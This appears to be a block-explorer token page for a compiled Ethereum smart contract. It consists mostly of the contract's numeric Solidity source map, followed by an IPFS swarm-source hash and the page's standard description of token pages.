;::::0;;;::::1;::::0;;12880:119::o;1042:181::-;1100:7;;1132:5;1136:1;1132;:5;:::i;:::-;1120:17;;1161:1;1156;:6;;1148:46;;;;-1:-1:-1;;;1148:46:0;;8790:2:1;1148:46:0;;;8772:21:1;8829:2;8809:18;;;8802:30;8868:29;8848:18;;;8841:57;8915:18;;1148:46:0;8588:351:1;1575:250:0;1633:7;1657:6;1653:47;;-1:-1:-1;1687:1:0;1680:8;;1653:47;1712:9;1724:5;1728:1;1724;:5;:::i;:::-;1712:17;-1:-1:-1;1757:1:0;1748:5;1752:1;1712:17;1748:5;:::i;:::-;:10;1740:56;;;;-1:-1:-1;;;1740:56:0;;9146:2:1;1740:56:0;;;9128:21:1;9185:2;9165:18;;;9158:30;9224:34;9204:18;;;9197:62;-1:-1:-1;;;9275:18:1;;;9268:31;9316:19;;1740:56:0;8944:397:1;1833:132:0;1891:7;1918:39;1922:1;1925;1918:39;;;;;;;;;;;;;;;;;:3;:39::i;10205:337::-;-1:-1:-1;;;;;10298:19:0;;10290:68;;;;-1:-1:-1;;;10290:68:0;;10315:2:1;10290:68:0;;;10297:21:1;10354:2;10334:18;;;10327:30;10393:34;10373:18;;;10366:62;-1:-1:-1;;;10444:18:1;;;10437:34;10488:19;;10290:68:0;10113:400:1;10290:68:0;-1:-1:-1;;;;;10377:21:0;;10369:68;;;;-1:-1:-1;;;10369:68:0;;8387:2:1;10369:68:0;;;8369:21:1;8426:2;8406:18;;;8399:30;8465:34;8445:18;;;8438:62;-1:-1:-1;;;8516:18:1;;;8509:32;8558:19;;10369:68:0;8185:398:1;10369:68:0;-1:-1:-1;;;;;10450:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10502:32;;10664:25:1;;;10502:32:0;;10637:18:1;10502:32:0;;;;;;;10205:337;;;:::o;15719:1962::-;15806:4;-1:-1:-1;;;;;15833:20:0;;15825:70;;;;-1:-1:-1;;;15825:70:0;;9909:2:1;15825:70:0;;;9891:21:1;9948:2;9928:18;;;9921:30;9987:34;9967:18;;;9960:62;-1:-1:-1;;;10038:18:1;;;10031:35;10083:19;;15825:70:0;9707:401:1;15825:70:0;-1:-1:-1;;;;;15914:23:0;;15906:71;;;;-1:-1:-1;;;15906:71:0;;7576:2:1;15906:71:0;;;7558:21:1;7615:2;7595:18;;;7588:30;7654:34;7634:18;;;7627:62;-1:-1:-1;;;7705:18:1;;;7698:33;7748:19;;15906:71:0;7374:399:1;15906:71:0;15993:16;;-1:-1:-1;;;15993:16:0;;;;15990:1684;;;16043:41;16058:6;16066:9;16077:6;16043:14;:41::i;:::-;16036:48;;;;15990:1684;-1:-1:-1;;;;;16140:23:0;;;;;;:15;:23;;;;;;;;16139:24;:55;;;;-1:-1:-1;;;;;;16168:26:0;;;;;;:15;:26;;;;;;;;16167:27;16139:55;16136:137;;;16223:33;16236:6;16244:11;;-1:-1:-1;17768:4:0;;17689:86;16223:33;16215:42;;;;;;16362:4;16313:28;9220:18;;;:9;:18;;;;;;16438:23;;16414:47;;;;;;;16494:44;;-1:-1:-1;16522:16:0;;-1:-1:-1;;;16522:16:0;;;;16521:17;16494:44;:69;;;;-1:-1:-1;;;;;;16543:20:0;;;;;;:12;:20;;;;;;;;16542:21;16494:69;:94;;;;-1:-1:-1;16567:21:0;;-1:-1:-1;;;16567:21:0;;;;16494:94;16490:305;;;16626:25;;-1:-1:-1;;;16626:25:0;;;;16623:97;;;16697:23;;16674:46;;16623:97;16739:36;16754:20;16739:14;:36::i;:::-;16798:37;16818:6;16825:9;16798:19;:37::i;:::-;16795:130;;;16872:53;;;;;;;;;;;-1:-1:-1;;;16872:53:0;;;;;;;;-1:-1:-1;;;;;16872:17:0;;-1:-1:-1;16872:17:0;;;:9;:17;;;;;;;;:53;;16894:6;;16872:21;:53::i;:::-;-1:-1:-1;;;;;16852:17:0;;;;;;:9;:17;;;;;:73;16795:130;-1:-1:-1;;;;;16978:25:0;;16940:19;16978:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;17007:28:0;;;;;;:17;:28;;;;;;;;16978:57;16974:357;;;-1:-1:-1;17070:6:0;16974:357;;;17121:1;17107:11;;:15;17099:24;;;;;;17146:53;17159:12;17188:10;;17174:11;;:24;;;;:::i;17146:53::-;:81;;;;-1:-1:-1;;;;;;17204:23:0;;;;;;:12;:23;;;;;;;;17203:24;17146:81;17142:107;;;17230:17;17237:9;17230:6;:17::i;:::-;17281:34;17289:6;17297:9;17308:6;17281:7;:34::i;:::-;17267:48;;16974:357;17350:10;;-1:-1:-1;;;17350:10:0;;;;:40;;;;-1:-1:-1;;;;;;17365:25:0;;;;;;:14;:25;;;;;;;;17364:26;17350:40;17347:136;;;17417:65;17430:37;17455:11;17430:20;17440:9;-1:-1:-1;;;;;9220:18:0;9193:7;9220:18;;;:9;:18;;;;;;;9127:119;17430:37;17469:12;;-1:-1:-1;17768:4:0;;17689:86;17417:65;17409:74;;;;;;-1:-1:-1;;;;;17523:20:0;;;;;;:9;:20;;;;;;:37;;17548:11;17523:24;:37::i;:::-;-1:-1:-1;;;;;17500:20:0;;;;;;;:9;:20;;;;;;;:60;;;;17582:40;;;;;;;;;;17610:11;10664:25:1;;10652:2;10637:18;;10518:177;17582:40:0;;;;;;;;17644:4;17637:11;;;;;;;1375:192;1461:7;1497:12;1489:6;;;;1481:29;;;;-1:-1:-1;;;1481:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1521:9:0;1533:5;1537:1;1533;:5;:::i;:::-;1521:17;1375:192;-1:-1:-1;;;;;1375:192:0:o;1231:136::-;1289:7;1316:43;1320:1;1323;1316:43;;;;;;;;;;;;;;;;;:3;:43::i;17783:330::-;17913:53;;;;;;;;;;;-1:-1:-1;;;17913:53:0;;;;;;;;-1:-1:-1;;;;;17913:17:0;;17876:4;17913:17;;;:9;:17;;;;;;;:53;;17935:6;;17913:21;:53::i;:::-;-1:-1:-1;;;;;17893:17:0;;;;;;;:9;:17;;;;;;:73;;;;18000:20;;;;;;;:32;;18025:6;18000:24;:32::i;:::-;-1:-1:-1;;;;;17977:20:0;;;;;;;:9;:20;;;;;;;:55;;;;18048:35;;;;;;;;;;18076:6;10664:25:1;;10652:2;10637:18;;10518:177;18048:35:0;;;;;;;;-1:-1:-1;18101:4:0;17783:330;;;;;:::o;1973:189::-;2059:7;2094:12;2087:5;2079:28;;;;-1:-1:-1;;;2079:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2118:9:0;2130:5;2134:1;2130;:5;:::i;18121:1034::-;6367:16;:23;;-1:-1:-1;;;;6367:23:0;-1:-1:-1;;;6367:23:0;;;18258:24:::1;::::0;6367:16;18237:15;6367:23;;18225:65:::1;::::0;18288:1:::1;::::0;18225:58:::1;::::0;;;:7;;:11:::1;:28::i;:::-;:32:::0;::::1;:58::i;:65::-;18203:87:::0;-1:-1:-1;18301:21:0::1;18325:24;:7:::0;18203:87;18325:11:::1;:24::i;:::-;18301:48;;18362:31;18379:13;18362:16;:31::i;:::-;18514:15;::::0;18429:21:::1;::::0;18404:22:::1;::::0;18485:52:::1;::::0;18514:22:::1;::::0;18534:1:::1;18514:19;:22::i;:::-;18485:24;::::0;;:28:::1;:52::i;:::-;18463:74;;18558:26;18587:59;18644:1;18587:52;18627:11;18587:35;18606:15;;18587:14;:18;;:35;;;;:::i;:59::-;18558:88;;18657:21;18681:47;18716:11;18681:30;18700:10;;18681:14;:18;;:30;;;;:::i;:47::-;18657:71:::0;-1:-1:-1;18739:26:0::1;18768:57;18657:71:::0;18768:38:::1;:14:::0;18787:18;18768::::1;:38::i;:::-;:42:::0;::::1;:57::i;:::-;18739:86:::0;-1:-1:-1;18841:22:0;;18838:95:::1;;18899:13;::::0;18878:55:::1;::::0;18899:13:::1;::::0;::::1;-1:-1:-1::0;;;;;18899:13:0::1;18914:18:::0;18878:20:::1;:55::i;:::-;18949:17:::0;;18946:84:::1;;19002:12;::::0;18981:49:::1;::::0;-1:-1:-1;;;;;19002:12:0::1;19016:13:::0;18981:20:::1;:49::i;:::-;19067:1;19046:18;:22;:41;;;;;19086:1;19072:11;:15;19046:41;19043:104;;;19102:45;19115:11;19128:18;19102:12;:45::i;:::-;-1:-1:-1::0;;6413:16:0;:24;;-1:-1:-1;;;;6413:24:0;;;-1:-1:-1;;;;;;18121:1034:0:o;15291:338::-;15365:4;15382:1;-1:-1:-1;;;;;15379:4:0;:1;-1:-1:-1;;;;;15379:4:0;;;15378:137;;;-1:-1:-1;15502:12:0;;-1:-1:-1;;;;;15499:15:0;;;15502:12;;15499:15;;15371:144;;15291:338;;;;:::o;14662:135::-;-1:-1:-1;;;;;14722:15:0;;;;;;:4;:15;;;;;;;;14721:16;:44;;;;-1:-1:-1;;;;;;14742:23:0;;;;;;:12;:23;;;;;;;;14741:24;14721:44;14717:72;;;-1:-1:-1;;;;;14767:15:0;;;;;;:4;:15;;;;;:22;;-1:-1:-1;;14767:22:0;14785:4;14767:22;;;14717:72;14662:135;:::o;20367:695::-;-1:-1:-1;;;;;20528:20:0;;20453:7;20528:20;;;:12;:20;;;;;;20453:7;;20528:20;;20525:223;;;20577:38;20611:3;20577:29;20588:17;;20577:6;:10;;:29;;;;:::i;:38::-;20565:50;;20525:223;;;-1:-1:-1;;;;;20645:23:0;;;;;;:12;:23;;;;;;;;20642:106;;;20697:39;20732:3;20697:30;20708:18;;20697:6;:10;;:30;;;;:::i;:39::-;20685:51;;20642:106;-1:-1:-1;;;;;20763:12:0;;;;;;:4;:12;;;;;;;;:37;;;;-1:-1:-1;;;;;;20780:20:0;;;;;;:12;:20;;;;;;;;20779:21;20763:37;20760:60;;;-1:-1:-1;20814:6:0;20760:60;20844:13;;20841:173;;20919:4;20901:24;;;;:9;:24;;;;;;:39;;20930:9;20901:28;:39::i;:::-;20892:4;20874:24;;;;:9;:24;;;;;;;:66;;;;20960:42;;-1:-1:-1;;;;;20960:42:0;;;;;;;20992:9;10664:25:1;;10652:2;10637:18;;10518:177;20960:42:0;;;;;;;;20841:173;21033:21;:6;21044:9;21033:10;:21::i;19167:666::-;19317:16;;;19331:1;19317:16;;;;;;;;19293:21;;19317:16;;;;;;;;;;-1:-1:-1;19317:16:0;19293:40;;19362:4;19344;19349:1;19344:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19344:23:0;;;:7;;;;;;;;;;:23;;;;19388:15;;:22;;;-1:-1:-1;;;19388:22:0;;;;:15;;;;;:20;;:22;;;;;19344:7;;19388:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19378:4;19383:1;19378:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19378:32:0;;;:7;;;;;;;;;:32;19455:15;;19423:62;;19440:4;;19455:15;19473:11;19423:8;:62::i;:::-;19524:15;;:240;;-1:-1:-1;;;19524:240:0;;-1:-1:-1;;;;;19524:15:0;;;;:66;;:240;;19605:11;;19524:15;;19675:4;;19702;;19738:15;;19524:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19790:35;19807:11;19820:4;19790:35;;;;;;;:::i;:::-;;;;;;;;19222:611;19167:666;:::o;13459:126::-;13551:26;;-1:-1:-1;;;;;13551:18:0;;;:26;;;;;13570:6;;13551:26;;;;13570:6;13551:18;:26;;;;;;;;;;;;;;;;;;;;;13459:126;;:::o;19841:518::-;20021:15;;19989:62;;20006:4;;-1:-1:-1;;;;;20021:15:0;20039:11;19989:8;:62::i;:::-;20094:15;;20298:12;;;20094:257;;-1:-1:-1;;;20094:257:0;;20166:4;20094:257;;;6075:34:1;;;;6125:18;;;6118:34;;;20094:15:0;6168:18:1;;;6161:34;;;6211:18;;;6204:34;-1:-1:-1;;;;;20298:12:0;;;6254:19:1;;;6247:44;20325:15:0;6307:19:1;;;6300:35;20094:15:0;;;;:31;;20133:9;;6009:19:1;;20094:257:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;14:367:1:-;77:8;87:6;141:3;134:4;126:6;122:17;118:27;108:55;;159:1;156;149:12;108:55;-1:-1:-1;182:20:1;;225:18;214:30;;211:50;;;257:1;254;247:12;211:50;294:4;286:6;282:17;270:29;;354:3;347:4;337:6;334:1;330:14;322:6;318:27;314:38;311:47;308:67;;;371:1;368;361:12;308:67;14:367;;;;;:::o;386:160::-;451:20;;507:13;;500:21;490:32;;480:60;;536:1;533;526:12;480:60;386:160;;;:::o;551:247::-;610:6;663:2;651:9;642:7;638:23;634:32;631:52;;;679:1;676;669:12;631:52;718:9;705:23;737:31;762:5;737:31;:::i;803:251::-;873:6;926:2;914:9;905:7;901:23;897:32;894:52;;;942:1;939;932:12;894:52;974:9;968:16;993:31;1018:5;993:31;:::i;1059:388::-;1127:6;1135;1188:2;1176:9;1167:7;1163:23;1159:32;1156:52;;;1204:1;1201;1194:12;1156:52;1243:9;1230:23;1262:31;1287:5;1262:31;:::i;:::-;1312:5;-1:-1:-1;1369:2:1;1354:18;;1341:32;1382:33;1341:32;1382:33;:::i;:::-;1434:7;1424:17;;;1059:388;;;;;:::o;1452:456::-;1529:6;1537;1545;1598:2;1586:9;1577:7;1573:23;1569:32;1566:52;;;1614:1;1611;1604:12;1566:52;1653:9;1640:23;1672:31;1697:5;1672:31;:::i;:::-;1722:5;-1:-1:-1;1779:2:1;1764:18;;1751:32;1792:33;1751:32;1792:33;:::i;:::-;1452:456;;1844:7;;-1:-1:-1;;;1898:2:1;1883:18;;;;1870:32;;1452:456::o;1913:315::-;1978:6;1986;2039:2;2027:9;2018:7;2014:23;2010:32;2007:52;;;2055:1;2052;2045:12;2007:52;2094:9;2081:23;2113:31;2138:5;2113:31;:::i;:::-;2163:5;-1:-1:-1;2187:35:1;2218:2;2203:18;;2187:35;:::i;:::-;2177:45;;1913:315;;;;;:::o;2233:::-;2301:6;2309;2362:2;2350:9;2341:7;2337:23;2333:32;2330:52;;;2378:1;2375;2368:12;2330:52;2417:9;2404:23;2436:31;2461:5;2436:31;:::i;:::-;2486:5;2538:2;2523:18;;;;2510:32;;-1:-1:-1;;;2233:315:1:o;2553:505::-;2645:6;2653;2661;2714:2;2702:9;2693:7;2689:23;2685:32;2682:52;;;2730:1;2727;2720:12;2682:52;2770:9;2757:23;2803:18;2795:6;2792:30;2789:50;;;2835:1;2832;2825:12;2789:50;2874:70;2936:7;2927:6;2916:9;2912:22;2874:70;:::i;:::-;2963:8;;-1:-1:-1;2848:96:1;-1:-1:-1;3017:35:1;;-1:-1:-1;3048:2:1;3033:18;;3017:35;:::i;:::-;3007:45;;2553:505;;;;;:::o;3063:::-;3158:6;3166;3174;3227:2;3215:9;3206:7;3202:23;3198:32;3195:52;;;3243:1;3240;3233:12;3195:52;3283:9;3270:23;3316:18;3308:6;3305:30;3302:50;;;3348:1;3345;3338:12;3302:50;3387:70;3449:7;3440:6;3429:9;3425:22;3387:70;:::i;:::-;3476:8;;3361:96;;-1:-1:-1;3558:2:1;3543:18;;;;3530:32;;3063:505;-1:-1:-1;;;;3063:505:1:o;3573:180::-;3629:6;3682:2;3670:9;3661:7;3657:23;3653:32;3650:52;;;3698:1;3695;3688:12;3650:52;3721:26;3737:9;3721:26;:::i;3758:180::-;3817:6;3870:2;3858:9;3849:7;3845:23;3841:32;3838:52;;;3886:1;3883;3876:12;3838:52;-1:-1:-1;3909:23:1;;3758:180;-1:-1:-1;3758:180:1:o;3943:248::-;4011:6;4019;4072:2;4060:9;4051:7;4047:23;4043:32;4040:52;;;4088:1;4085;4078:12;4040:52;-1:-1:-1;;4111:23:1;;;4181:2;4166:18;;;4153:32;;-1:-1:-1;3943:248:1:o;4196:316::-;4273:6;4281;4289;4342:2;4330:9;4321:7;4317:23;4313:32;4310:52;;;4358:1;4355;4348:12;4310:52;-1:-1:-1;;4381:23:1;;;4451:2;4436:18;;4423:32;;-1:-1:-1;4502:2:1;4487:18;;;4474:32;;4196:316;-1:-1:-1;4196:316:1:o;4517:306::-;4605:6;4613;4621;4674:2;4662:9;4653:7;4649:23;4645:32;4642:52;;;4690:1;4687;4680:12;4642:52;4719:9;4713:16;4703:26;;4769:2;4758:9;4754:18;4748:25;4738:35;;4813:2;4802:9;4798:18;4792:25;4782:35;;4517:306;;;;;:::o;4828:461::-;4881:3;4919:5;4913:12;4946:6;4941:3;4934:19;4972:4;5001:2;4996:3;4992:12;4985:19;;5038:2;5031:5;5027:14;5059:1;5069:195;5083:6;5080:1;5077:13;5069:195;;;5148:13;;-1:-1:-1;;;;;5144:39:1;5132:52;;5204:12;;;;5239:15;;;;5180:1;5098:9;5069:195;;;-1:-1:-1;5280:3:1;;4828:461;-1:-1:-1;;;;;4828:461:1:o;6772:597::-;6884:4;6913:2;6942;6931:9;6924:21;6974:6;6968:13;7017:6;7012:2;7001:9;6997:18;6990:34;7042:1;7052:140;7066:6;7063:1;7060:13;7052:140;;;7161:14;;;7157:23;;7151:30;7127:17;;;7146:2;7123:26;7116:66;7081:10;;7052:140;;;7210:6;7207:1;7204:13;7201:91;;;7280:1;7275:2;7266:6;7255:9;7251:22;7247:31;7240:42;7201:91;-1:-1:-1;7353:2:1;7332:15;-1:-1:-1;;7328:29:1;7313:45;;;;7360:2;7309:54;;6772:597;-1:-1:-1;;;6772:597:1:o;9346:356::-;9548:2;9530:21;;;9567:18;;;9560:30;9626:34;9621:2;9606:18;;9599:62;9693:2;9678:18;;9346:356::o;10700:332::-;10907:6;10896:9;10889:25;10950:2;10945;10934:9;10930:18;10923:30;10870:4;10970:56;11022:2;11011:9;11007:18;10999:6;10970:56;:::i;:::-;10962:64;10700:332;-1:-1:-1;;;;10700:332:1:o;11037:582::-;11336:6;11325:9;11318:25;11379:6;11374:2;11363:9;11359:18;11352:34;11422:3;11417:2;11406:9;11402:18;11395:31;11299:4;11443:57;11495:3;11484:9;11480:19;11472:6;11443:57;:::i;:::-;-1:-1:-1;;;;;11536:32:1;;;;11531:2;11516:18;;11509:60;-1:-1:-1;11600:3:1;11585:19;11578:35;11435:65;11037:582;-1:-1:-1;;;11037:582:1:o;11813:128::-;11853:3;11884:1;11880:6;11877:1;11874:13;11871:39;;;11890:18;;:::i;:::-;-1:-1:-1;11926:9:1;;11813:128::o;11946:217::-;11986:1;12012;12002:132;;12056:10;12051:3;12047:20;12044:1;12037:31;12091:4;12088:1;12081:15;12119:4;12116:1;12109:15;12002:132;-1:-1:-1;12148:9:1;;11946:217::o;12168:168::-;12208:7;12274:1;12270;12266:6;12262:14;12259:1;12256:21;12251:1;12244:9;12237:17;12233:45;12230:71;;;12281:18;;:::i;:::-;-1:-1:-1;12321:9:1;;12168:168::o;12341:125::-;12381:4;12409:1;12406;12403:8;12400:34;;;12414:18;;:::i;:::-;-1:-1:-1;12451:9:1;;12341:125::o;12471:380::-;12550:1;12546:12;;;;12593;;;12614:61;;12668:4;12660:6;12656:17;12646:27;;12614:61;12721:2;12713:6;12710:14;12690:18;12687:38;12684:161;;;12767:10;12762:3;12758:20;12755:1;12748:31;12802:4;12799:1;12792:15;12830:4;12827:1;12820:15;12684:161;;12471:380;;;:::o;12856:135::-;12895:3;-1:-1:-1;;12916:17:1;;12913:43;;;12936:18;;:::i;:::-;-1:-1:-1;12983:1:1;12972:13;;12856:135::o;12996:127::-;13057:10;13052:3;13048:20;13045:1;13038:31;13088:4;13085:1;13078:15;13112:4;13109:1;13102:15;13128:127;13189:10;13184:3;13180:20;13177:1;13170:31;13220:4;13217:1;13210:15;13244:4;13241:1;13234:15;13392:131;-1:-1:-1;;;;;13467:31:1;;13457:42;;13447:70;;13513:1;13510;13503:12
Swarm Source
ipfs://7232660b78e9dfed682d10fa3f547569864bf521912b9889a841b6d222062d9e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.